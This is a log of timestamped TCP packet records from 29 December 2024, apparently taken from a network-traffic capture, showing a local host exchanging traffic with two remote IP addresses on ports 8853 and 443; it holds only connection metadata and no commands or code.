Dec 29, 2024 09:01:56.773586988 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.904453039 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.904489040 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.904763937 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.907164097 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.907269001 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.907309055 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.912810087 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.912929058 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.912969112 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.918452024 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.918589115 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.918632030 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.924118996 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.924232960 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.924277067 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.929841042 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.930064917 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.930335045 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.935455084 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.935559034 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.935596943 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.941082954 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.941277981 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.941313982 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.946741104 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.946861982 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.946902037 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.952359915 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.952519894 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.952563047 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.958076000 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.958175898 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.958214045 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.963677883 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.963819027 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.963865042 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.969337940 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.969440937 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.969512939 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.975043058 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.975116014 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.975162029 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.980639935 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.980746984 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.980783939 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.986278057 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.028635979 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.115125895 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.115180969 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.115426064 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.117072105 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.117141962 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.117187023 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.120791912 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.120840073 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.120887995 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.125617981 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.125695944 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.125739098 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.130455017 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.130618095 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.130664110 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.135317087 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.135473967 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.135524988 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.140084028 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.140203953 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.140249968 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.144928932 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.144975901 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.145035028 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.264945030 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.868292093 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:57.988243103 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:57.988348007 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:58.446388006 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:01:58.446441889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:01:58.446527004 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:01:58.456967115 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:01:58.456981897 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:01:59.343931913 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.343961954 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.343971968 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344021082 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344038010 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344054937 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344070911 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344115973 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.344156981 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.344261885 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344290972 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344309092 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.344321966 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.344351053 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.463804960 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.463855982 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.463907003 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.467854977 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.512974024 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.557212114 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.557322979 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.557393074 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.561255932 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.561314106 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.561372995 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.569610119 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.569823027 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.569885015 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.577594995 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.577719927 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.577769041 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.585966110 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.586074114 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.586122990 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.594404936 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.594492912 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.594552994 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.602771044 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.602854967 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.602921963 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.611164093 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.611279011 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.611330032 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.619544983 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.619640112 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.619697094 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.627947092 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.628113985 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.628161907 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.636377096 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.636465073 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.636683941 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.677162886 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.677202940 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.677265882 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.770698071 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.770816088 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.770905018 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.773081064 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.773138046 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.773205042 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.777244091 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.777456045 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.777510881 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.782594919 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.782716036 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.782771111 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.787914991 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.788037062 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.788090944 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.793270111 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.793399096 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.793453932 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.798710108 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.798899889 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.798953056 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.803993940 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.804137945 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.804192066 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.809429884 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.809534073 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.809587002 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.813193083 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.813358068 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.813411951 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.816978931 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.817110062 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.817272902 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.820792913 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.820928097 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.820983887 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.824740887 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.824795008 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.824848890 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.828505993 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.828671932 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.828727007 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.832258940 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.832384109 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.832437038 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.836095095 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.836196899 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.836250067 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.839900970 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.840030909 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.840078115 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.843724966 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.843841076 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.844012976 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.847542048 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.847656012 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.847726107 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.851376057 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.851486921 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.851542950 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.984354019 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.984400034 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.984457970 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.985173941 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.985286951 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.985332012 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.988200903 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.989204884 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:59.989259958 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:59.993367910 CET	49734	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:00.112848043 CET	8853	49734	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:00.668299913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:00.668386936 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:00.669847012 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:00.669908047 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:00.720458031 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:00.720489979 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:00.720967054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:00.721018076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:00.724905968 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:00.771327972 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.491620064 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.491651058 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.491677999 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.491718054 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.491718054 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.491821051 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.491867065 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.491890907 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.547693968 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.547719002 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.547779083 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.547806978 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.547841072 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.547883034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.728224993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.728250027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.728339911 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.728427887 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.728507042 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.784864902 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.784888983 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.784949064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.785008907 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.785043955 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.785069942 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.840133905 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.840154886 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.840346098 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.840379000 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.840620041 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.887677908 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.887698889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.887862921 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.887862921 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.887926102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.888005972 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.967578888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.967603922 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.967798948 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.967823982 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.967879057 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.997204065 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.997224092 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.997396946 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:01.997419119 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:01.997490883 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.014194012 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.014214993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.014287949 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.014306068 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.014357090 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.033489943 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.033514977 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.033560991 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.033577919 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.033607960 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.033627987 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.051528931 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.051552057 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.051749945 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.051815987 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.051872015 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.100816011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.100837946 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.100902081 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.100939035 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.100995064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.100995064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.144685030 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.144706011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.144753933 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.144779921 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.144824028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.144845963 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.175288916 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.175319910 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.175395966 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.175415993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.175472021 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.187441111 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.187459946 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.187524080 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.187539101 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.187566996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.187586069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.194863081 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.194883108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.194943905 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.194960117 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.195024967 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.203274965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.203293085 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.203347921 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.203363895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.203417063 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.203417063 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.210870028 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.210897923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.210942030 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.210966110 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.211108923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.211108923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.218982935 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.219001055 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.219177961 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.219192028 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.219244957 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.227233887 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.227252960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.227324009 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.227339029 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.227406979 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.329910040 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.329941034 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.330125093 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.330149889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.330193996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.363109112 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.363137007 CET	443	49735	149.129.12.34	192.168.2.4
